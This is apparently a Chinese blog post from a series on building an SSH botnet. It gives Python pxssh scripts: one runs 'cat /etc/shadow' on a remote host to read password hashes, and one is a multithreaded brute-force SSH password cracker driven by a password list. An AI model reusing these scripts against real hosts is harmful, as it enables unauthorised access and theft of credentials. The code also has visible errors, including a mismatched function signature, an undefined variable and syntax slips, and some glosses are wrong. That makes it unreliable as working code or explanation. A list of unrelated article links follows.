• 【Python脚本进阶】2.2、构建一个SSH僵尸网络(中):用Pxssh暴力破解SSH密码


    目录

    一、Pxssh暴力破解SSH密码

    1.1、函数:

    1.2、使用Pxssh简化

    1.3、函数:

    1.4、自动化


    一、Pxssh暴力破解SSH密码

    1.1、函数:

    prompt():是javascript语言中的一个方法,主要用处是显示提示对话框

    pxssh模块用于在python中ssh远程连接,执行命令,返回结果,但注意不支持Windows系统

    1.2、使用Pxssh简化

    用Pxssh 进一步简化它,Pxssb 是一个包含了pexpect 库的专用脚本, 它能用预先写好的login()、logout()和prompt()等函数直接与SSH 进行交互。使用Pxssh可以将上个脚本简化成

    1. import pxssh
    2. def send_command(s, cmd):
    3. s.sendline(cmd)
    4. s.prompt()
    5. print(s.before)
    6. def connect(host, user, password):
    7. try:
    8. s = pxssh.pxssh()
    9. s.login( host, user, password )
    10. return s
    11. except:
    12. print('[-] Error Connecting')
    13. exit( 0 )
    14. s = connect ('127.0.0.1', 'root', 'toor')
    15. send_command(s, 'cat /etc/shadow | grep root')

    1.3、函数:

    BoundedSemaphore(n):同一时刻最多允许n个线程访问特定资源

    global:全局的

    release:释放

    add_option 添加设置选项

    acquire方法是Python锁类,Python中线程模块的Lock类的内置方法

    Thread是程序中的执行线程

    1.4、自动化

    再做些修改就能使脚本自动执行暴力破解SSH口令的任务。除增加了一些参数解析代码来读取主机名、用户名和存有待尝试的密码的文件外, 只需对connect()函数稍做修改。


    如果login()函数执行成功, 并且没有抛出异常, 将打印一个消息, 表明密码已被找到并把表示密码已被找到的全局布尔值设为true。否则, 将捕获该异常。如果异常显示密码被拒绝, 知道这个密码不对, 让函数返回即可。但是,如果异常显示socket 为“ read_nonblocking", 可能是SSH服务器被大量的连接刷爆了, 可以稍等片刻后用相同的密码再试一次。此外, 如果该异常显示pxssh 命令提示符提取困难, 也应等待一会儿, 然后让它再试一次。


    在connect()函数的参数里有一个布尔量release。由于connect()可以递归地调用另一个connect(), 必须让只有不是由connect()递归调用的connect()函数才能够释放connection_lock 信号。

    1. import pxssh
    2. import optparse
    3. import time
    4. from threading import *
    5. maxConnections = 5
    6. connection_lock = BoundedSemaphore(value=maxConnections)
    7. Found = False
    8. Fails = 0
    9. def connect(host, user, password):
    10. global Found
    11. global Fails
    12. try:
    13. s = pxssh.pxssh()
    14. s.login(host, user, password)
    15. print('[+] Password Found: ' + password)
    16. Found = True
    17. except Exception as e:
    18. if 'read_nonblocking' in str(e):
    19. Fails += 1
    20. time.sleep( 5 )
    21. connect(host, user, password, False)
    22. elif 'synchronize with original prompt' in str(e):
    23. time.sleep( 1 )
    24. connect( host, user, password, False )
    25. finally:
    26. if release: connection_lock.release()
    27. def main():
    28. parser = optparse.OptionParser( 'usage %prog ' + '-H -u -F ' )
    29. parser.add_option( '-H', dest= ' tgtHost', type='string', help=' specify target host'
    30. parser.add_option( '-F', dest= ' passwdFile', type='string', help='specify password file')
    31. parser.add_option( '-u', dest='user'type = 'string', help = 'specify the user')
    32. (options, args) = parser.parse_args()
    33. host = options.tgtHost
    34. passwdFile = options.passwdFile
    35. user= options.user
    36. if host== None or passwdFile == None or user == None:
    37. print(parser.usage)
    38. exit(0)
    39. user = options.user
    40. fn = open( passwdFile,'r')
    41. user = options.user
    42. for line in fn.readlines():
    43. user = options.user
    44. if Found:
    45. print("[*] Exiting: Password Found")
    46. exit(0)
    47. if Fails > 5:
    48. print("[!] Exiting: Too Many Socket Timeouts")
    49. exit(0)
    50. connection_lock.acquire()
    51. password = line.strip('\r').strip('\n')
    52. print("[-] Testing: " + str(password))
    53. t = Thread(target=connect, args=(host, user, password, True))
    54. child = t.start()
    55. if __name__ == '__main__':
    56. main()

  • 相关阅读:
    SpringCloud Alibaba【二】nacos
    Java 和低延迟
    Vue.js安装步骤和注意事项
    不好意思,Nginx 该换了!
    【vr】【unity】白马VR课堂系列-VR开发核心基础05-主体设置-手柄对象的引入和设置
    100+Python挑战性编程练习系列 -- day 22
    运行Django项目报错解决,OSError: [WinError 123] 文件名、目录名或卷标语法不正确。
    1的取反为什么是-2
    品牌线上打假,应防微杜渐
    【DPDK】谈谈DPDK如何实现bypass内核的原理 其二 DPDK部分的实现
  • 原文地址:https://blog.csdn.net/qq_53079406/article/details/126040184